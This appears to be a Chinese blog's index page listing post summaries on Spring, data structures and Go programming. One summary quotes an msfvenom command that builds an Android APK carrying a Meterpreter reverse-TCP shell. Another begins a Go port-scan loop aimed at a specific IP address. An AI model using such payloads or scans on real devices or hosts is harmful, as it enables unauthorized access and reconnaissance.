摘要: spring源码环境搭建 组件 版本 jdk 1.8.0_192 spring-framework 5.3.x gradle 7.5.1 idea 2022.3.3 aspectJ 1.9 可根据spring-framwork项目说明灵活选择 一、拉取spring-framework项目 1、spr 阅读全文
posted @ 2023-03-26 13:48 红叶次 阅读(503) 评论(2) 推荐(1) 编辑
 
摘要: 链表 1 链表 链表是一种物理存储单元上非连续、非顺序的存储结构,数据元素的逻辑顺序是通过链表中的指针链接实现的。 2 单链表 商品结点类 package com.acti.linkedList; /** * author hongyeci * date 20220722 * version 1.0 阅读全文
posted @ 2022-08-30 14:36 红叶次 阅读(94) 评论(0) 推荐(0) 编辑
  2022年10月9日
摘要: 递归 递归概念 递归就是方法自己去调用自己本身,每次调用时传入的参数不同;递归有助于解决复杂问题,并且简化代码。 递归解决的问题 可以解决各种数学问题,汉诺塔、迷宫、8皇后等; 各种算法的递归,快排、归并排序、二分查找、分治算法等。 递归规则 执行一个方法时,就创建一个新的受保护的独立栈空间; 方法 阅读全文
posted @ 2022-10-09 18:00 红叶次 阅读(23) 评论(0) 推荐(0) 编辑
摘要: #稀疏数组、队列 稀疏数组 稀疏数组介绍 当一个数组(包括多维数组)中大部分元素为0,或者为同一个值时,为了节约空间起到压缩的效果,将数据用另一种结构来表示,即稀疏数组。 稀疏数组压缩条件 1、原数组中存在大量的无效数据,占据了大量的存储空间,真正有用的数据很少; 2、压缩存储可以节省存储空间,避免 阅读全文
posted @ 2022-10-09 15:21 红叶次 阅读(20) 评论(0) 推荐(0) 编辑
  2022年8月31日
摘要: msf攻击android^RUNOOB 1.msf生成android apk文件 msfvenom -p android/meterpreter/reverse_tcp lhost=<ip地址> lport=<端口> R > test.apk -p android/meterpreter/rever 阅读全文
posted @ 2022-08-31 11:23 红叶次 阅读(691) 评论(0) 推荐(0) 编辑
  2022年7月19日
摘要: 栈 栈的介绍 栈是限制插入和删除只能在一个位置上进行的线性表。其中,允许插入和删除的一端位于表的末端,叫做栈顶(top),不允许插入和删除的一端叫做栈底(bottom)。对栈的基本操作有push(压栈)和pop(弹栈/出栈),前者向栈顶插入一个元素,后者是删除一个栈顶元素。栈是一种**后进先出(LI 阅读全文
posted @ 2022-07-19 17:27 红叶次 阅读(83) 评论(0) 推荐(0) 编辑
  2020年12月11日
摘要: golang并发编程中select关键字的使用 阅读全文
posted @ 2020-12-11 12:23 红叶次 阅读(117) 评论(0) 推荐(0) 编辑
  2020年10月13日
摘要: go使用barcode包生成二维码并扫描其内容 阅读全文
posted @ 2020-10-13 10:24 红叶次 阅读(692) 评论(0) 推荐(0) 编辑
  2020年10月12日
摘要: golang实现文件上传功能 阅读全文
posted @ 2020-10-12 13:33 红叶次 阅读(3185) 评论(0) 推荐(0) 编辑
  2020年10月10日
摘要: 非并发扫描100个TCP地址的实现 func main() { start:=time.Now() //扫描端口 for i := 21; i < 120; i++ { address := fmt.Sprintf("20.194.168.28:%d", i) //扫描端口 conn, err := 阅读全文
posted @ 2020-10-10 11:40 红叶次 阅读(416) 评论(0) 推荐(0) 编辑